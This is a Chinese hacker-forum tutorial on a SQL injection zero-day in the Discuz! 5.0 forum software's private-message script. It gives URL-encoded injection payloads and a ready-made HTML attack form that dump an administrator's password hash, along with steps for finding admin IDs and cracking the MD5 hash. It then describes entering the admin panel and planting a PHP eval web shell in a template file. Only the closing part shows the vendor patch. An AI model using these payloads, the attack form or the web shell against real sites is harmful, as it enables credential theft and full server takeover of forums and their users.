|
我不知道关于这个0day的分析有没有人写过,姑且作为华夏黑客联盟的原创吧。 一.关于0Day 0Day的概念最早用于软件和游戏破解,属于非盈利性和非商业化的组织行为,其基本内涵是“即时性”(Warez)。被许多人误认为是一个最大的软件破解组织,而实际上,Warez如黑客一样,只是一种行为。0Day也是。当时的0Day是指在正版软件或游戏发布的当天甚至之前,发布附带着序列号或者解密器的破解版,让使用者可以不用付费就能长期使用。因此,虽然Warez和0Dday都是反盗版的重要打击对象,却同时受到免费使用者和业内同行的推崇。尽管 Warez和0Day的拥护者对以此而谋利的盗版商不齿,但商业利益的驱动还是将破解行为的商业化推到了高峰。而眼下的0Day,正在对信息安全产生越来 越严重的威胁。 信息安全意义上的0Day是指在安全补丁发布前而被了解和掌握的漏洞信息。正所谓看不见的才是最可怕的,这就是0Day的真正威胁。 二.Hello,World Dz5.0漏洞是谁研究的,我不知道,但是我肯定这个家伙很细心。漏洞出在pm.php中。看如下几处重要地方: if(empty($msgto) && is_array($msgtobuddys)) { $msgto = $msgtobuddys; } else { $msgtoid = 0; $query = $db->query("SELECT m.uid, m.username FROM {$tablepre}members m WHERE username=’$msgto’"); while($member = $db->fetch_array($query)) { if(!strcasecmp(addslashes($member[’username’]), $msgto)) { $msgtoid = $member[’uid’]; break; } } /*如果$msgto为空,$msgto = $msgtobuddys。 如果$msgto为非空,产生$msgtoid ……………..*/ if(!$msgtoid) { showmessage(’pm_send_nonexistence’); } /*若没有产生$msgtoid,则显示错误*/ if(is_array($msgtobuddys)) { $msgto = array_merge($msgtobuddys, array($msgtoid)); } else { $msgto = array($msgtoid); } /*判断$msgtoduddys是否为数组,确定$msgto*/ ……………(以下略) $uids = $comma = ’’; foreach($msgto as $uid) { $uids .= $comma."’$uid’"; $comma = ’,’;} /*将$uids数组以逗号割开*/ …………(以下略) $ignorenum = 0; $query = $db->query("SELECT m.username, mf.ignorepm, u.maxpmnum FROM {$tablepre}usergroups u, {$tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING(uid) WHERE m.uid IN ($uids) AND m.groupid=u.groupid"); /*SQL执行处,IN为范围操作*/ 如果仅仅看到这里,也基本就清楚了,$uids来自于$msgto,$msgto来自于$msgtobuddys。SQL中真正执行的是$uids,但是我们用户能提交的只有$msgtobuddys。$msgtobuddys这个变量是从这个可以从抓包中看出的,另外也可以在pm.php的源代码中可以找到他msgtobuddys[],value=”xxxxx”的东西。至于网上有人说具体是哪个文件没过滤?并不准确,其实这一系列下来都没经过过滤。正好IN ($uids)又给我们提供了一个好的注入平台。 那么我们可以利用了,利用NC提交一些类似如下的东西: &msgtobuddys%5B%5D=1%29%20and%20left(m.password,1)%3D(0x32)/*(前面抓包部分略) &msgtobuddys%5B%5D=1%29%20and%20mid(m.password,2,1)%3D(0x32)/*(前面抓包部分略) …………来看看返回结果吧。当然你完全可以写个小的Perl程序来提交,不过这样很麻烦。 记得我刚才只是说仅仅看到这里吗?呵呵,其实并没有结束。这个细心的家伙继续看下去了。 $msgto_count = $db->num_rows($query); While($member = $db->fetch_array($query)) { if($member[’maxpmnum’] < 1 || preg_match("/(^{ALL}$|(,|^)\s*".preg_quote($discuz_user, ’/’)."\s*(,|$))/i", $member[’ignorepm’])) { showmessage(’pm_send_ignore’);) /*如果$nember[‘maxpmum’]<1或者$member[‘ignorepm’]包含一个正则表达式(如果正则表达式在“忽略列表”中得到匹配,则返回True) Showmessage(‘pm_send_ignore’)返回一个错误。这是最精彩的内容*/ 其实这里应该是试探性的测试,我们可以试着构造一个“忽略列表”,看看返回什么内容。Bingle,返回的内容前面的提示名字几乎和{$tablepre}members.username匹配。如果是这样的话,完全可以用union select联合查询来暴出密码。我们完全可以构造如下语句,并用NC提交: msgtobuddys%5B%5D=1%29%20union%20select%20password%2C0%2C0%20from%20cdb_members%20where%20uid%3D4%2F*(前面抓包部分略) 即:msgtobuddy[]=1) union select password,0,0 from cdb_members where uid=4/* 抓包也一样可以完成这个任务,只是一些好心的朋友写了HTML的利用文件感觉挺好的。这里特地为华夏黑客同盟写一份专用的,由于时间比较仓促,随便写的,比较粗糙,不过新增加了个短信验证码功能。程序如下: <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>DZ 0Day华夏黑客同盟专用版</title> </head> <FORM name=frm method=post target=_blank>Url: <INPUT size=45 name=act> FormHash:<INPUT size=8 name=formhash> <INPUT onclick="Javascipt:action=document.all.act.value+’/pm.php?action=send’;frm.submit();" type=button value="提 交" name=Send><br><br> SQL:<INPUT size=65 value=’0) union select password,0,0 from cdb_members where uid=1/*’name=msgtobuddys[]> 验证码:<input type="text" name="seccodeverify" size="5">(有验证码时填写,没有时保留空) <input type="hidden" name="pmsubmit" value="2"> <input type="hidden" name="subject" value="test"> <input type="hidden" name="message" value="test"> <a href=http://www.cnblogs.com/allyesno/>by %5C</a> </FORM> </html> 三.Fly,MY Little Bird 恩,该到他飞翔的时候了,一般我不太喜欢做这样的事。应用方面很简单,按照上面的HTML上需要的内容找就可以了,其实这些都是用WinSock Expert抓包的时候必须发送的内容。不过你首先要注册一个能有权限发短消息的用户。具体步骤是: 1.填写URL:这个是论坛的地址。 2.FormHash:鼠标放到“清除COOKIES”上,可以看到,如图一:
 图一 3. 找一个管理员的uid:这个很简单吧,新用户一般没有权限查看管理团队,不过管理员非常喜欢发些置顶的帖子,呵呵,直接去找吧。 4. 好了,这些设置完后,就直接点“发送”吧。如果你运气够好的话,会出现该UID的MD5的32位加密密码哦,如图二:
 图二 如果该网站打过最新的DZ5.0补丁,一般会显示如下错误,那么就放弃或者另辟蹊径吧。如图三:
 图三 5如何破解MD5密码:可以去下载一个MD5ToolBox软件,或者直接在网站上破解www.xmd5.org,他是以三台计算机建立数据库的形式,大部分常用密码都能破解,而且速度极快。 6.进入后台后该干什么?一般都是进入论坛管理--à模块编辑----à详情--à修改wap.php。然后插入插入一段Lanker的PHP后门:<?php eval($_POST[cmd]);?>。连接地址为:/templates/default/wap.lang.php。 四.Codz End 官方DZ5.0已经做过修改,补丁主要修改部分如下: $uids = $comma = ’’; foreach($msgto as $uid) { if(!is_numeric($uid)) { showmessage(’pm_send_invalid’); } else { $uids .= $comma."’$uid’"; $comma = ’,’; } |